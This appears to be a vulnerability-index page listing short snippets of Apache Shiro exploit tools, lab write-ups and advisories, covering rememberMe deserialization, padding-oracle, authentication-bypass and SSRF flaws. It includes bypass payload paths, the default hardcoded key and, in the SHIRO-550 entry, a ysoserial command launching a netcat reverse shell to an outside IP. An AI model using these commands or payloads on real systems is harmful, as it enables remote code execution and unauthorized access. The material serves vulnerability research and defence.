CVE-2016-4437

shiro-1.2.4-漏洞工具 解rememberMe值并导出对应的class文件 使用方式 xk-mt-rememberMe解码.py 运行讲解：运行后先输入密钥或者回车默认密钥为‘kPH+bIxk5D2deZiIxcaaaA==’，在输入请求包里面的rememberMe值，解析后会提示输入导出文件名会自动加class,如果不导出则直接回车。 运行启动：python xk-mt-rememberMe解码.py xk-mt-单个域名单个密钥检测.py...

ShiroScan

ShiroScan Shiro=1.2.4反序列化，一键检测工具 root@kitploit: 改动内容：1.新增4个利用链模块CommonsCollections7-10，预计增加成功率30%，已打包成新ysoserial的jar包，请勿更换 改动内容：2.增加多线程，虽模块增加但速度却提高300% root@kitploit: 集成21个key进行fuzz 如果有帮助，请点个star哦，对应blog文章：http://www.svenbeast.com/post/tskRKJIPg/ pip3 install -r requirments.txt Usage：python3...

Shiro_Xray

ShiroXray Gadget root@kitploit: CommonsBeanutils1 CommonsCollectionsK1 CommonsCollectionsK2 Getshell 冰蝎 root@kitploit: import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import java.io.PrintWriter; import java.net.URLDecoder; import sun.misc.BASE64Decoder; public class...

WebLogic-Shiro-shell

Java反序列化技术分享 本次分享涉及的东西有以下几点： 1. Java序列化和反序列化基础 2. 为什么在反序列化的时候会产生漏洞？ 3. Java反射 4. ysoserial CommonsCollections2、CommonsCollections5 5. Java ClassLoader 加载类的几种方法 6. WebLogic CVE-2020-2555 CVE-2020-2883 RCE 7. Shiro-550 rememberMe 硬编码导致的反序列化RCE 8. WebLogic + Shiro 反序列化一键注册filter内存shell Java序列化和反序列化基...

shiro-cve-2020-17523

Apache Shiro 两种姿势绕过认证分析（CVE-2020-17523） 0x01 漏洞描述 Apache Shiro是一个强大且易用的Java安全框架，执行身份验证、授权、密码和会话管理。使用Shiro的易于理解的API，您可以快速、轻松地获得任何应用程序，从最小的移动应用程序到最大的网络和企业应用程序。 当它和 Spring 结合使用时，在一定权限匹配规则下，攻击者可通过构造特殊的 HTTP 请求包完成身份认证绕过。 影响范围：Apache Shiro 1.7.1 0x02 漏洞环境搭建 shiro 1.7.0...

apache__shiro_CVE-2023-34478_1-11-0

Apache Shiro Apache Shiro 是一个强大且易用的 Java 安全框架，提供身份验证、授权、加密和会话管理。借助 Shiro 易于理解的 API，您可以快速轻松地保护任何应用程序——从最小的移动应用程序到最大的 Web 和企业应用程序。 文档和示例 http://shiro.apache.org 教程 10 分钟教程 Web 应用程序 许可证 Apache License, Version 2.0...

CVE-2020-13933

CVE-2020-13933 靶场 shiro 1.6.0 身份认证绕过漏洞 PoC http://127.0.0.1:8080/res/%3bpoc 靶场环境 代码说明 ShiroConfig.java： 权限配置， 当请求 /res/ 资源时， 302 跳转到登陆页面进行身份认证 NameController.java： · /res/name： 请求名为 name 的的资源（触发身份认证） · /res/： 不请求任何资源（不触发身份认证） 靶场验证 不在请求路由中指定资源名称时，不触发身份验证，也无资源返回： http://127.0.0.1:8080/res/...

CVE-2024-4956

CVE-2024-4956 该仓库包含一个用于自动化利用 CVE-2024-4956 的 Python 工具，能够从输入文件中批量测试文件路径，并自动将存在的文件路径内容保存到磁盘以供分析。漏洞详情可参见此处。 用法 root@kitploit: usage: cve-2024-4956.py -h -f FILE -p PROXY -u URL --test -r RELATIVEPATH CVE-2024-4956 Path Traversal Exploit Script options: -h, --help show this help message and exit -f...

SHIRO-721

SHIRO-721 RememberMe Padding Oracle Vulnerability RCE 0x00 简介： cookie的cookiememeMe已通过AES-128-CBC模式加密，这很容易受到填充oracle攻击的影响。 攻击者可以使用有效的RememberMe cookie作为Padding Oracle Attack 的前缀，然后制作精心制作的RememberMe来执行Java反序列化攻击，例如SHIRO-550。 0x01 重现此问题的步骤： 1. 登录网站，并从cookie中获取RememberMe。 2. 使用RememberMe...

SHIRO-550

Shiro RememberMe 1.2.4 反序列化漏洞（SHIRO-550） commons-collections-3.2.1.jar java -jar ysoserial-0.0.6-SNAPSHOT-all.jar JRMPClient "10.10.20.166:12345" |python exp.py java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections5 'nc -e /bin/sh 192.168.5.86 8989' nc...

CVE-2022-32532

CVE-2022-32532 关于 这是一个演示项目，仅展示了利用此漏洞（CVE-2022-32532）的条件之一。 事实上，利用它的方式不止一种。只要开发者使用了 RegExPatternMatcher，就可能存在绕过漏洞。 介绍 在当前配置下，需要验证 Token 请求头，否则您无权访问 /permit 下的接口 该请求可以成功 root@kitploit: GET /permit/any HTTP/1.1 Token: 4ra1n 当没有 Token 请求头时，不允许访问 root@kitploit: GET /permit/any HTTP/1.1...

shiro-cve-2010-3863

apach shiro path traversal CVE-2010-3863 Reproducción de la vulnerabilidad Montar el entorno localmente con docker Abrir yakit para capturar paquetes payload:/./admin/ Éxito...

cve-2020-13933

cve-2020-13933 cve-2020-13933 Apache Shiro privilege bypass vulnerability This reproduction is very simple. First, set up the environment using IDEA + Shiro Reference: https://www.cnblogs.com/ph4nt0mer/p/13535999.html Then run, access, and capture packets...

CVE-2026-58301

When Apache Shiro is used with the Jakarta EE integration module, a low-privileged user can craft an HTTP request that causes the server to initiate a connection to an attacker-controlled URL and transmit attacker-controlled data. This vulnerability affects Apache Shiro versions 2.x through 3.0.0...

UBUNTU-CVE-2026-58301

When Apache Shiro is used with the Jakarta EE integration module, a low-privileged user can craft an HTTP request that causes the server to initiate a connection to an attacker-controlled URL and transmit attacker-controlled data. This vulnerability affects Apache Shiro versions 2.x through 3.0.0...

EUVD-2026-68391

When Apache Shiro is used with the Jakarta EE integration module, a low-privileged user can craft an HTTP request that causes the server to initiate a connection to an attacker-controlled URL and transmit attacker-controlled data. This vulnerability affects Apache Shiro versions 2.x through 3.0.0...

CVE-2026-58301 Apache Shiro: Server-side POST request may be steered to an alternate host

When Apache Shiro is used with the Jakarta EE integration module, a low-privileged user can craft an HTTP request that causes the server to initiate a connection to an attacker-controlled URL and transmit attacker-controlled data. This vulnerability affects Apache Shiro versions 2.x through 3.0.0...

CVE-2026-58301

CVE-2026-58301 is a Server-Side Request Forgery (SSRF) vulnerability in Apache Shiro versions 2.x through 3.0.0 , specifically affecting deployments that use the Jakarta EE integration module . A low-privileged user can craft an HTTP request that causes the server to initiate a connection to an a...

Apache Shiro 1.2.4 Cookie RememberME - Deserial Remote Code Execution Vulnerability

Apache Shiro before 1.2.5, when a cipher key has not been configured for the "remember me" feature, allows remote attackers to execute arbitrary code or bypass intended access restrictions via an unspecified request parameter. id: CVE-2016-4437 info: name: Apache Shiro 1.2.4 Cookie RememberME -...

Linux Distros Unpatched Vulnerability : CVE-2026-58301

The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - When Apache Shiro is used with the Jakarta EE integration module, a low-privileged user can craft an HTTP request that causes the server to initiate a connectio...